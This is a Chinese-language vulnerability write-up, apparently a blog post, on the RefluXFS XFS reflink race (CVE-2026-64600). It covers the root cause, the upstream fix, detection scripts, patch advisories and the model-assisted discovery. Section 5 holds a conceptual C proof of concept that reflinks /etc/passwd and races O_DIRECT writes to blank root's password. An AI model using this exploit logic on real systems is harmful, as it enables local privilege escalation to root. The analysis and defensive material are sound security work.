0. TL;DR
| 字段 | 内容 |
|---|---|
| CVE 编号 | CVE-2026-64600 |
| 俗称 | RefluXFS |
| 漏洞类型 | Race condition(竞态条件) |
| 受影响组件 | Linux kernel XFS reflink direct-I/O copy-on-write path |
| 引入版本 | kernel v4.11(2017 年) |
| 披露方 | Qualys Threat Research Unit (TRU) |
| 披露日期 | 2026-07-22 |
| 利用前提 | (1) kernel ≥ 4.11 未打补丁;(2) XFS filesystem 且 reflink=1;(3) 普通用户对同一 XFS 卷有可写目录,且可读一个 root-owned 目标文件 |
| 利用效果 | 任意本地用户 → host root,可修改 /etc/passwd 或 SUID-root 二进制 |
| CVSS | 7.8(High / Local) |
| 影响规模估算 | 全球超过 1640 万台系统 |
| 现有缓解 | 无(SELinux、容器、KASLR/SMEP/SMAP、lockdown 均无效);唯一方案为打补丁并 reboot |
1. 背景:XFS reflink 与 Copy-on-Write
XFS 自 kernel 4.9 起原生支持 reflink(reference-counted file extent sharing),即允许多个文件(或同一文件的多个 extent)共享同一物理磁盘块,仅在写入时才进行真正的复制——这就是所谓的 Copy-on-Write (CoW)。该特性由 XFS 的 reflink=1 superblock 标志位开启,而 RHEL 8/9/10、Oracle Linux、Rocky、AlmaLinux、Amazon Linux 2023、Fedora Server 31+ 的默认安装均使用带 reflink 的 XFS 作为根文件系统。
Reflink 的核心数据结构是 Reference Count Tree (refcount btree, AGF 中的 agf_refcount_blocks),它记录每个 shared extent 的引用计数。典型场景如下:
Logical File Extent Physical Disk Blocks
(per-file mapping) (shared via reflink)
File A [extent e_A] ───────────► Block @ P (refcount=2)
▲
File B [extent e_B] ───────────► │
│
File C [extent e_C] ───────────► Block @ Q (refcount=1, private)
当任一文件对共享块执行写入时,XFS 不会直接覆盖物理块 P,而是执行一次 CoW:
- 分配一个新私有块
P'; - 将源数据复制到
P'; - 把写入文件的 extent mapping 重映射到
P'; - 对原共享块
P的 refcount 减 1。
这一逻辑集中实现在 fs/xfs/libxfs/xfs_reflink.c 中,主要由 xfs_reflink_allocate_cow() / xfs_reflink_convert_cow() / xfs_reflink_cancel_cow() 等函数协同完成。RefluXFS 漏洞恰恰位于该路径中一段释放并重新获取 inode 锁(ILOCK)的窗口里。
2. 漏洞概览
RefluXFS 的本质是:在 XFS CoW 路径中,由于等待 transaction log space 而临时释放 ILOCK,期间另一个并发的 O_DIRECT writer 可以完成自己的 CoW 周期并把原共享块的 refcount 降到 1。第一个 writer 重新获取锁后,基于锁释放前缓存的 stale physical block address 检查 refcount,看到 1 便误判该块已经是私有块,于是跳过 CoW 直接写入——而这个"私有块"实际上是另一个 root-owned 文件仍然引用的原始共享块。
upstream patch 的提交信息对此有一句非常精确的描述:
"the mappings are stale as soon as we reacquire the ILOCK."
因为 O_DIRECT 绕过 kernel page cache 且缺乏 revalidation,这次误写会直接落盘,覆盖目标受保护文件的内容,且:
- 文件 owner / mode / mtime / ctime / SUID 位均不变;
- 不产生任何 kernel log;
- 修改持久化,survives reboot;
- 不触发任何 standard file metadata 校验。
这构成了一个"任意可读文件 → 任意磁盘块写入"的强原语,可以瞬间转化为 host root。
3. 受影响系统与前提条件
漏洞触发必须同时满足以下三个条件:
| # | 条件 | 说明 |
|---|---|---|
| 1 | Kernel version ≥ 4.11 且未打 RefluXFS 补丁 | 漏洞自 2017 年起持续存在 |
| 2 | XFS filesystem 且 superblock reflink=1 |
xfs_info <mnt> 应显示 reflink=1;RHEL 默认即满足 |
| 3 | 同一 XFS 卷上同时存在 (a) 高价值 root-owned 目标文件(可读,如 /usr/bin/su、/etc/passwd),(b) 普通用户可写目录 |
攻击者需在此目录创建 scratch file 并触发 reflink |
3.1 已确认受影响发行版
| 发行版 | 版本 |
|---|---|
| RHEL | 8, 9, 10 |
| CentOS Stream | 8, 9, 10 |
| Oracle Linux | 8, 9, 10 |
| Rocky Linux / AlmaLinux | 8, 9, 10 |
| CloudLinux | 8, 9, 10 |
| Amazon Linux | 2023 及 2022 年 12 月之后的 AL2 AMI |
| Fedora Server | 31+ |
Debian / Ubuntu / SUSE 默认不使用 XFS,但若管理员在安装时手动选择 XFS 且 reflink=1,同样受影响。
3.2 修复版本(部分)
| 厂商 | Advisory | QID |
|---|---|---|
| Red Hat | RHSA-2026:39179 / 39494 / 41062 / 41063 / 41229 / 39984 / 40425 | 6052294 / 6052307 / 6052332 / 6052326 / 6053104 / 6052390 / 6053109 |
| Red Hat kernel-rt | RHSA-2026:39180 | 6052291 |
| Oracle Linux | ELSA-2026-39494 | 6600012 |
| AlmaLinux | ALSA-2026:39179 / 39494 / 39180 | 944816 / 944834 / 944802 |
| Rocky Linux | RLSA-2026:39179 / 39494 / 39180 | 963680 / 963688 / 963682 |
| Fedora | FEDORA-2026-085c9e92a4 | 289032 |
| Qualys 通用检测 | RefluXFS: Local Privilege Escalation via XFS reflink direct-I/O race | 387841 |
4. 技术原理深度剖析
4.1 XFS CoW 的正常流程
一次针对 shared extent 的写入,其正常控制流大致如下(简化后的 C 伪代码):
/* fs/xfs/xfs_aops.c -> xfs_do_writepage / xfs_reflink.c, 概念化伪代码 */
int xfs_reflink_write_shared_extent(struct xfs_inode *ip,
xfs_off_t offset, size_t len,
const char __user *buf, int flags)
{
struct xfs_bmbt_irec map;
xfs_fileoff_t offset_fsb = XFS_B_TO_FSBT(ip->i_mount, offset);
int error;
/* 1. 取 ILOCK_EXCL,查 data fork 拿到当前 logical -> physical 映射 */
xfs_ilock(ip, XFS_ILOCK_EXCL);
error = xfs_bmapi_read(ip, offset_fsb, 1, &map, &NULLFSBLOCK, 0);
if (error) goto out_unlock;
/* 2. 若该 extent 的 refcount > 1,需要执行 CoW */
if (map.br_state == XFS_EXT_UNWRITTEN ||
xfs_reflink_get_block_refcount(ip->i_mount, map.br_startblock) > 1) {
/* 3. 分配 CoW fork 的新私有块;若 log space 不足会临时释放 ILOCK */
error = xfs_reflink_allocate_cow(ip, &map, ...);
if (error == -ENOSPC_log) {
/* ★★★ 漏洞点:内部已 drop & reacquire ILOCK ★★★ */
...
}
/* 4. 把数据写入 CoW fork 指向的新块 */
xfs_reflink_convert_cow(ip, offset, len);
write_to_new_block(map.br_startblock, buf, len);
} else {
/* 5. refcount == 1 视为私有块,直接写 */
write_to_block(map.br_startblock, buf, len);
}
out_unlock:
xfs_iunlock(ip, XFS_ILOCK_EXCL);
return error;
}
关键点在第 3 步:当 XFS 需要为 CoW 分配新块时,必须把该操作封装进一个 transaction。如果当前 transaction log 空间不足,XFS 会为了避免死锁而临时释放 ILOCK_EXCL,等待 log space 可用后再重新获取。
4.2 ILOCK 释放窗口与 stale mapping
释放 ILOCK 看似无伤大雅——毕竟重新获取锁后通常会重新检查状态。但 XFS 在这条路径上的实现犯了一个致命错误:重新获取 ILOCK 后,它继续使用锁释放前缓存下来的 map.br_startblock(即旧的 physical block address),而不是重新调用 xfs_bmapi_read() 校验映射是否仍然有效。
upstream patch 描述得很直白:
"the mappings are stale as soon as we reacquire the ILOCK."
下面这个 ASCII 时序图展示了两个并发 O_DIRECT writer 如何在这一窗口内引发灾难:
Thread T1 (attacker, write #1) Thread T2 (attacker, write #2)
───────────────────────────────── ─────────────────────────────────
[1] O_DIRECT write to shared extent
target = scratch file (reflinked
from /etc/passwd)
[2] xfs_ilock(ILOCK_EXCL) ✓
[3] bmapi_read() -> map.br_startblock = P
refcount(P) = 2 (shared by scratch + /etc/passwd)
[4] xfs_reflink_allocate_cow()
log space 不足...
★ xfs_iunlock(ILOCK_EXCL) ★ <── 窗口打开
[5] O_DIRECT write to 同一 extent
xfs_ilock(ILOCK_EXCL) ✓
[6] bmapi_read() -> P, refcount=2
allocate_cow() -> 分配 P'
convert_cow() -> scratch 的
extent 重映射到 P'
refcount(P) -= 1 => refcount(P) = 1
写入 P' 完毕
xfs_iunlock(ILOCK_EXCL) ✓
[7] 重新获取 log space 成功
★ xfs_ilock(ILOCK_EXCL) ★ <── 窗口关闭,但 map 已过期
[8] ★ 未重新 bmapi_read() ★
使用缓存的 map.br_startblock = P
调 xfs_reflink_get_block_refcount(P)
看到 refcount(P) == 1
误判 P 已是私有块!
[9] 跳过 CoW,直接对 P 执行 O_DIRECT write
★ 攻击者数据写入 P ★
而 P 仍然是 /etc/passwd 的物理块!
[10] 写入落盘(O_DIRECT 绕过 page cache)
/etc/passwd 被篡改,root 行 x 字段清空
→ passwordless root
4.3 过期引用计数检查的代码路径
把上面时序图中第 [8]、[9] 步映射到 kernel 代码(概念化伪代码):
/* 漏洞代码路径(已简化,突出 stale mapping 问题) */
int xfs_reflink_allocate_cow(struct xfs_inode *ip,
struct xfs_bmbt_irec *imap,
bool *shared, bool convert)
{
struct xfs_mount *mp = ip->i_mount;
xfs_fsblock_t old_startblock = imap->br_startblock; /* ← 锁释放前缓存 */
xfs_extlen_t old_blockcount = imap->br_blockcount;
int error;
retry_alloc:
error = xfs_trans_alloc(mp, &M_RES(mp)->tr_write, ..., &tp);
if (error == -ENOSPC) {
/* 必须先放弃 ILOCK 才能等待 log space, 否则死锁 */
xfs_iunlock(ip, XFS_ILOCK_EXCL);
error = xfs_trans_reserve_more(tp); /* 阻塞等待 log space */
xfs_ilock(ip, XFS_ILOCK_EXCL);
/* ★★★ BUG: 未重新调用 xfs_bmapi_read() 刷新 imap ★★★ */
/* ★★★ imap->br_startblock 仍然等于 old_startblock ★★★ */
goto retry_alloc;
}
/*
* 此处检查 shared 状态。漏洞触发场景下:
* - imap->br_startblock 仍是旧的 P
* - 但 P 的 refcount 已被 T2 的 CoW 减到 1
* => xfs_reflink_check_shared() 返回 false
* => *shared = false
* => 调用者跳过 CoW, 直接写 P
*/
*shared = xfs_reflink_check_shared(mp, imap->br_startblock,
imap->br_blockcount);
if (!*shared) {
/* ★ 命中漏洞路径:把 attacker 数据写进 root-owned 块 P ★ */
return 0;
}
/* 正常 CoW 路径:分配新块并 remap */
...
}
upstream 修复的核心思路正是在 goto retry_alloc; 之后、重新检查 shared 状态之前,重新执行 xfs_bmapi_read() 来刷新 imap,使后续 refcount 检查基于最新的 extent 映射。
4.4 为什么 O_DIRECT 是关键
漏洞利用要求两次写入都使用 O_DIRECT,原因有三:
- 绕过 page cache:
O_DIRECT通过dio路径直接与 block layer 交互,不经过 page cache,因此不会触发 page cache 一侧的额外 revalidation 逻辑(buffered write 路径里有更多一致性检查); - 同步落盘:写入立即到达磁盘,攻击者数据持久化,重启后仍然有效;
- 路径更短、竞态更稳定:buffered write 会经过 writeback 机制,时序难以控制;而
O_DIRECT路径是同步、可重复的,便于攻击者精确命中 race window。
4.5 整体利用链的抽象
把攻击者的视角抽象出来,RefluXFS 提供的是一个 "任意可读文件 → 任意磁盘块写入" 的原语:
┌──────────────────────────┐ ┌──────────────────────────┐
│ Read-only target file │ reflink │ Writable scratch file │
│ (e.g. /etc/passwd, │◄────────►│ in user-writable dir │
│ /usr/bin/su, ...) │ shared │ (owned by attacker) │
│ owner: root │ blocks │ owner: attacker │
└──────────────────────────┘ └──────────────────────────┘
▲ │
│ │
│ ┌──────────────────────┐ │
│ │ RefluXFS race window │◄────┘
│ │ (CVE-2026-64600) │ O_DIRECT x2
│ └──────────────────────┘
│ │
│ ▼
│ ┌──────────────────────────────┐
└─────│ Stale mapping write │
│ → attacker bytes land in │
│ target's physical blocks │
└──────────────────────────────┘
│
▼
┌──────────────────────────────┐
│ Target file content modified │
│ - metadata untouched │
│ - no kernel log │
│ - persists across reboot │
└──────────────────────────────┘
│
▼
┌──────────────────────────────┐
│ root shell (via /etc/passwd │
│ x-field clear, or via SUID │
│ binary patch) │
└──────────────────────────────┘
5. 漏洞利用流程(PoC 概念)
下面给出一个高度概念化的利用伪代码。仅用于说明原理,实际利用需要精确控制 timing、log space 压力与重试次数。
5.1 准备阶段:制造 reflink
/* 1. 攻击者拥有一个普通用户账号 attacker, 工作目录 /home/attacker/scratch/
* 2. 目标文件 /etc/passwd (root:root, 0644, world-readable)
* 3. 在同一 XFS(reflink=1) 卷上:
*/
#include <fcntl.h>
#include <sys/ioctl.h>
#include <linux/fs.h>
int main(void) {
int fd_passwd = open("/etc/passwd", O_RDONLY); /* 读目标 */
int fd_scratch = open("/home/attacker/scratch/clone",
O_RDWR | O_CREAT | O_TRUNC, 0644);
/* 用 FICLONE ioctl 把 /etc/passwd reflink 到 scratch 文件
* 现在 scratch 与 /etc/passwd 共享同一组物理块, refcount=2
*/
if (ioctl(fd_scratch, FICLONE, fd_passwd) < 0) {
perror("FICLONE");
return 1;
}
return 0;
}
5.2 触发阶段:双线程 O_DIRECT 竞态
/* 概念化 PoC: 两个线程对 scratch 文件并发 O_DIRECT 写入同一 extent
* 目的是把 T1 卡在"释放 ILOCK 等待 log space"的窗口里,
* 让 T2 完成 CoW 把 refcount 降到 1, 然后 T1 用 stale mapping 直写。
*/
#define BUF_SIZE 4096
#define TARGET_OFFSET 0 /* /etc/passwd 第一行的物理块 */
static int fd_scratch; /* 全局: 已 reflink 自 /etc/passwd */
/* T1: 主写入线程, 期望命中 race window */
void *writer_t1(void *arg) {
void *buf;
posix_memalign(&buf, BUF_SIZE, BUF_SIZE);
/* 构造一行伪造的 passwd: root::0:0:root:/root:/bin/bash (清空 x 字段) */
memcpy(buf, "root::0:0:root:/root:/bin/bash\n", 31);
/* O_DIRECT, 写到 scratch 文件, 但通过漏洞最终落在 /etc/passwd */
pwrite(fd_scratch, buf, BUF_SIZE, TARGET_OFFSET);
free(buf);
return NULL;
}
/* T2: 竞态配合线程, 尽快完成 CoW, 把 P 的 refcount 从 2 降到 1 */
void *writer_t2(void *arg) {
void *buf;
posix_memalign(&buf, BUF_SIZE, BUF_SIZE);
memset(buf, 'A', BUF_SIZE);
/* 对同一 offset 并发 O_DIRECT 写, 触发 XFS CoW remap */
for (int i = 0; i < 64; i++) {
pwrite(fd_scratch, buf, BUF_SIZE, TARGET_OFFSET);
}
free(buf);
return NULL;
}
int main(void) {
fd_scratch = open("/home/attacker/scratch/clone", O_RDWR | O_DIRECT);
/* 同时通过 fallocate / 大量并发事务制造 log space 压力,
* 提高 T1 进入"等待 log space"分支的概率 */
exhaust_log_space_background();
for (int round = 0; round < 4096; round++) {
/* 重新建立 reflink (前一回合可能已 CoW 出新块) */
reflink_from_passwd(fd_scratch);
pthread_t t1, t2;
pthread_create(&t1, NULL, writer_t1, NULL);
pthread_create(&t2, NULL, writer_t2, NULL);
pthread_join(t1, NULL);
pthread_join(t2, NULL);
/* 检查 /etc/passwd 是否已被改写 */
if (passwd_root_password_cleared()) {
printf("[+] race won at round %d\n", round);
break;
}
}
return 0;
}
5.3 收尾阶段:拿到 root
一旦 /etc/passwd 中 root 行的密码字段(第二列 x)被清空为空字符串:
$ su -
# 直接进入 root shell, 无需密码
或者,攻击者也可以选择覆盖某个 SUID-root 二进制(如 /usr/bin/passwd、/usr/bin/chfn)的代码段,植入 shellcode,下次该 binary 被 root 执行时获得 root。Qualys 的官方 PoC 演示的就是在默认 RHEL 10.2 上数秒内完成 /etc/passwd 改写、su - 直入 root 的全过程。
6. 为什么现有缓解措施全部失效
RefluXFS 的可怕之处在于它"住"在 filesystem allocation layer——这一层在几乎所有传统防御之下。下表汇总了主流内核加固机制面对此漏洞时的状态:
| 缓解机制 | 作用层级 | 对 RefluXFS 是否有效 | 原因 |
|---|---|---|---|
| KASLR | kernel text/data 地址随机化 | 无效 | 漏洞不依赖任何内核地址泄露 |
| SMEP | 禁止 ring0 执行用户态代码 | 无效 | 漏洞不执行用户态代码,纯数据写 |
| SMAP | 禁止 ring0 访问用户态内存 | 无效 | 同上 |
| Kernel Lockdown | 限制 /dev/mem、kexec、BPF 等 |
无效 | 不限制 unprivileged 用户的 O_DIRECT 与 FICLONE |
| SELinux (Enforcing) | MAC 策略 | 无效 | 测试中不阻断受影响代码路径;用户对 scratch 文件有 rw 权限,对 target 有 r 权限即满足策略 |
| seccomp | 系统调用过滤 | 无效 | 只要 profile 允许 write 与 ioctl(普通 profile 都允许),即可触发 |
| User namespace 限制 | 容器隔离 | 无效 | 漏洞通过普通 filesystem 分配路径触发,不涉及 namespace |
| Container capability 限制 | capability bounding set | 无效 | 写入通过普通 O_DIRECT 完成,不需要任何 capability |
| Hardened allocator | SLUB/SLAB 加固 | 无效 | 不涉及 slab 分配,是磁盘块分配层 |
| IMA/EVM | 文件完整性度量 | 部分有效(仅检测) | 可能在下次 appraisal 时发现 hash 不一致,但无法阻止篡改 |
| Audit / auditd | 系统调用审计 | 仅事后取证 | 不会产生 kernel log,audit 可记录 pwrite 但无法判定是否越权 |
结论:当前没有任何可靠的"非打补丁"缓解。SELinux、容器边界、内存保护、甚至主动威胁监控都失效,因为漏洞运行在 filesystem allocation layer——一个低于所有上述防御的层级。唯一可靠方案是应用厂商安全更新并完整 reboot。
7. 漏洞代码路径与修复
7.1 完整调用链
用户态: pwrite(scratch_fd, buf, len, off) with O_DIRECT
│
▼
vfs_write / vfs_iter_write
│
▼
xfs_file_dio_write() [fs/xfs/xfs_file.c]
│
▼
xfs_file_dio_aio_write()
│
▼
iomap_dio_rw() [fs/iomap/direct-io.c]
│
▼
xfs_direct_write_iomap_begin() [fs/xfs/xfs_iomap.c]
│
▼
xfs_reflink_allocate_cow() [fs/xfs/libxfs/xfs_reflink.c] ★漏洞所在★
│
├─ xfs_trans_alloc()
│ │
│ └─ (若 log space 不足)
│ xfs_iunlock(ILOCK_EXCL) ← 释放锁
│ xfs_trans_reserve_more() ← 等待
│ xfs_ilock(ILOCK_EXCL) ← 重新获取
│ /* BUG: 此处未刷新 imap */
│
├─ xfs_reflink_check_shared() ← 基于 stale startblock 检查 refcount
│
└─ (若 *shared == false) 直接返回, 调用者写入原始块 P
7.2 upstream 修复
修复补丁的核心是在 xfs_reflink_allocate_cow() 中,重新获取 ILOCK 之后、进行任何 refcount 判断之前,重新调用 xfs_bmapi_read() 来刷新 imap:
/* 修复后的概念化伪代码 */
retry_alloc:
error = xfs_trans_alloc(mp, &M_RES(mp)->tr_write, ..., &tp);
if (error == -ENOSPC) {
xfs_iunlock(ip, XFS_ILOCK_EXCL);
error = xfs_trans_reserve_more(tp);
xfs_ilock(ip, XFS_ILOCK_EXCL);
/* ★★★ FIX: 重新读取 extent 映射, 丢弃 stale imap ★★★ */
error = xfs_bmapi_read(ip, imap->br_startoff,
imap->br_blockcount,
imap, &dummy, 0);
if (error)
goto out_trans_cancel;
/* 如果映射已变(如已被 T2 remap 到 P'),则 imap 现在指向新块,
* 后续 refcount 检查将正确判断 shared 状态, 触发正常 CoW */
goto retry_alloc;
}
...
修复后,时序图中第 [8] 步会看到 imap->br_startblock == P'(新私有块),refcount 检查正确返回 shared=false,但此时写入的目标已经是 scratch 文件自己的 CoW 块,不再误伤 /etc/passwd 的物理块。
7.3 修复版本对应表
| 发行版 | 修复 advisory | 建议动作 |
|---|---|---|
| RHEL 8 / 9 / 10 | RHSA-2026:39179 / 39494 / 41062 / 41063 / 41229 / 39984 / 40425 | dnf update kernel && reboot |
| RHEL kernel-rt | RHSA-2026:39180 | 同上 |
| Oracle Linux 8/9/10 | ELSA-2026-39494 | 同上 |
| AlmaLinux | ALSA-2026:39179 / 39494 / 39180 | 同上 |
| Rocky Linux | RLSA-2026:39179 / 39494 / 39180 | 同上 |
| Fedora 31+ | FEDORA-2026-085c9e92a4 | dnf upgrade kernel && reboot |
| Amazon Linux 2023 / AL2 | 对应 ALAS 通告 | yum update kernel && reboot |
8. 检测与运维建议
8.1 自检脚本
管理员可以用以下命令快速判断系统是否处于受影响配置:
#!/bin/bash
# refluxfs-check.sh - 粗略自检
echo "== Kernel version =="
uname -r
echo "== XFS filesystems with reflink =="
findmnt -t xfs -o TARGET,SOURCE | while read mnt src; do
if [ -b "$src" ] || [ "$src" = "rootfs" ]; then
# 对挂载点所在设备调用 xfs_info
dev=$(findmnt -n -o SOURCE "$mnt")
xfs_info "$mnt" 2>/dev/null | grep -E "reflink|crc=" \
| sed "s/^/[$mnt] /"
fi
done
echo "== 可疑线索: 近期 /etc/passwd 的 mtime =="
stat -c '%y %n' /etc/passwd /etc/shadow 2>/dev/null
echo "== 检查是否已安装修复 =="
rpm -q --changelog kernel-$(uname -r) 2>/dev/null \
| grep -iE "refluxfs|CVE-2026-64600|reflink.*race" | head
注意:RefluXFS 不修改 mtime,因此 stat 看到 mtime 未变不能作为系统未受攻击的证据。该脚本仅用于配置自检。
8.2 检测与取证
由于漏洞不留 kernel log,传统的 dmesg / journalctl 几乎无迹可寻。可行的检测方向包括:
- IMA/EVM appraisal:在 enforcing 模式下,篡改后的文件会在下次访问时被拒绝(但仍无法阻止篡改本身);
- AIDE / Tripwire:基于哈希的文件完整性监控可发现
/etc/passwd、SUID binary 等关键文件内容变化——前提是基线在攻击前已建立; - auditd 规则:对
FICLONEioctl 与高频O_DIRECT写入到 scratch 目录建立审计规则,可作为行为侧的早期信号,但噪声较大; - 块层异常监控:对受保护文件 backing block 的写流量异常进行监控(需要 eBPF 或 block trace 支持)。
8.3 运维优先级
Qualys 将此漏洞评为 emergency priority,建议的运维顺序:
- 多租户 / 互联网暴露主机优先打补丁:共享主机上的任意本地用户即可利用,风险最高;
- 完整 reboot:kernel patch 必须通过 reboot 加载才生效,live-patch 在此场景不可靠;
- 审计关键文件:打补丁前后对
/etc/passwd、/etc/shadow、/usr/bin/su、/usr/bin/passwd、/usr/bin/sudo等做哈希比对; - 检查账户:排查是否存在异常的无密码 root 行或新增 UID 0 账户;
- 临时缓解(仅作辅助,不能替代补丁):对关键文件所在目录禁用普通用户写权限,或将关键系统目录迁移到不带 reflink 的 XFS 卷——但这通常在默认安装上难以实施。
9. 同类漏洞谱系:从 Dirty Pipe 到 RefluXFS
RefluXFS 并非孤例。2026 年上半年,Linux 内核连续爆出一系列"诱导内核把攻击者数据写入受保护内存或磁盘块"的漏洞,构成了一个清晰的 bug class 谱系:
| 漏洞名 | CVE | 披露日期 | 受影响组件 | 核心技术 |
|---|---|---|---|---|
| Copy Fail | CVE-2026-31431 | 2026-04-29 | algif_aead (AF_ALG crypto API) | 逻辑缺陷让 AF_ALG socket + splice() 写 4 字节受控数据进 page cache |
| Dirty Frag | CVE-2026-43284 / CVE-2026-43500 | 2026-05-07 | xfrm/IPsec ESP + RxRPC | 串联两个 page-cache 写漏洞,明确延续 Dirty Pipe / Copy Fail 的 bug class |
| DirtyClone | CVE-2026-43503 | 2026-06-25 | *_pskb_copy_fclone() 包克隆 |
丢失安全标志,克隆的网络包可覆盖 file-backed page cache;属 DirtyFrag 家族 |
| RefluXFS | CVE-2026-64600 | 2026-07-22 | XFS reflink CoW 路径 | 并发 O_DIRECT 写引发 stale refcount 检查,直接落盘覆盖受保护块 |
这一谱系的共同特征是:绕过权限模型,直接在内核数据结构层面让攻击者数据落到不该落的地方。它们的根因往往是某个被忽视的"释放并重新获取锁"窗口、一次未刷新的缓存、或一个被错误信任的中间状态——与经典的 Dirty COW(CVE-2016-5195)一脉相承。RefluXFS 把这一思路从 page cache 推到了 磁盘块层,并由于 O_DIRECT 的特性,使篡改跨重启持久化、且对元数据完全透明。
10. 研究方法论补充:AI 加速 + 人工验证
值得一提的是,RefluXFS 的发现过程本身具有方法论上的标志性意义。Qualys TRU 在 Anthropic 的 Project Glasswing 框架下,将 Claude Mythos Preview 模型集成进人工审计工作流:
- 研究人员引导模型"在 Linux 内核中寻找 Dirty COW 风格的 race condition";
- 通过迭代式 prompt 收窄到 core memory-management 与 filesystem 目录;
- 模型在若干轮后定位到 XFS 中的可疑路径,并生成了一个功能性 PoC;
- Qualys 安全研究员随后接管:审查模型推理、独立复现 PoC、逐条验证技术声明;
- 模型还起草了 advisory 初稿,由人工对照实测结果修订。
这一过程的关键并非"AI 能自动产出 exploit",而是"在严格的人类监督下,AI 显著压缩了从大规模内核源码到候选漏洞的时间窗口"。RefluXFS 的价值在于:方向,而非能力——前沿模型早已具备,但只有与专家判断结合时,才能把这种能力转化为对防御方有利的、负责任的披露。
11. 结论
RefluXFS(CVE-2026-64600)是一个教科书级别的"小窗口、大灾难"内核漏洞:
- 它存在了九年(自 kernel v4.11, 2017 年);
- 它在默认安装的 RHEL 及其衍生版上即可触发;
- 它在 SELinux Enforcing、KASLR、SMEP、SMAP、kernel lockdown、容器隔离全部开启时仍然有效;
- 它不留 kernel log、跨重启持久化、不改变文件元数据;
- 它把"任意本地用户"直接转化为"host root"。
从根因看,它再次印证了一条古老的内核工程经验:任何"释放并重新获取锁"的窗口都必须重新校验所有从锁内带出的状态——尤其在 XFS 这样复杂的、跨 data fork / CoW fork / refcount btree 的多层映射体系里,一个未刷新的 br_startblock 足以让整个权限模型失效。
从防御看,它提醒我们:filesystem allocation layer 是一个长期被忽视的攻击面,传统的内存保护、MAC、容器隔离都无法触及;IMA/EVM、AIDE 这类基于哈希的完整性度量在此类漏洞面前只能"事后报警",无法"事前阻断"。唯一的可靠缓解是立即应用厂商安全更新并完整 reboot。
从研究方法论看,RefluXFS 的发现过程为"AI 加速 + 人工验证"的负责任安全研究范式提供了一个高价值的样本——它不是关于 AI 能做什么,而是关于在专家判断的引导下,AI 能多快地把一个潜伏九年的严重缺陷送到防御者手中。
对于运维与安全团队,建议的优先级排序非常明确:
- 立即在所有受影响主机(尤其是多租户、互联网暴露、共享开发环境)上应用厂商 kernel 安全更新;
- 完整 reboot 以确保新 kernel 生效;
- 对
/etc/passwd、/etc/shadow、关键 SUID-root binary 做哈希基线比对; - 排查异常 UID 0 账户与无密码 root 行;
- 将 XFS reflink 路径纳入长期威胁模型,关注后续是否出现同族变体。
RefluXFS 不是终点,而是 2026 年 Linux 内核"诱导内核写入受保护资源"漏洞谱系中的最新一环。理解它、修复它、并从它身上提炼出工程教训,比单纯打补丁更重要。
参考资料
- Qualys TRU 原始 advisory: https://blog.qualys.com/vulnerabilities-threat-research/2026/07/22/refluxfs-a-linux-kernel-local-privilege-escalation-to-root-in-xfs-cve-2026-64600
- Qualys 技术细节: https://cdn2.qualys.com/advisory/2026/07/22/RefluXFS.txt
- Oracle Linux CVE 页面: https://linux.oracle.com/cve/CVE-2026-64600.html
- XFS reflink 实现:
fs/xfs/libxfs/xfs_reflink.c,fs/xfs/xfs_aops.c,fs/xfs/xfs_iomap.c - Linux kernel 主线补丁(重新获取 ILOCK 后刷新 mapping)
免责声明:本文所有技术细节均基于公开披露资料整理,伪代码仅用于原理说明,不构成可工作的 exploit。请勿将本文内容用于非授权的系统测试。
浙公网安备 33010602011771号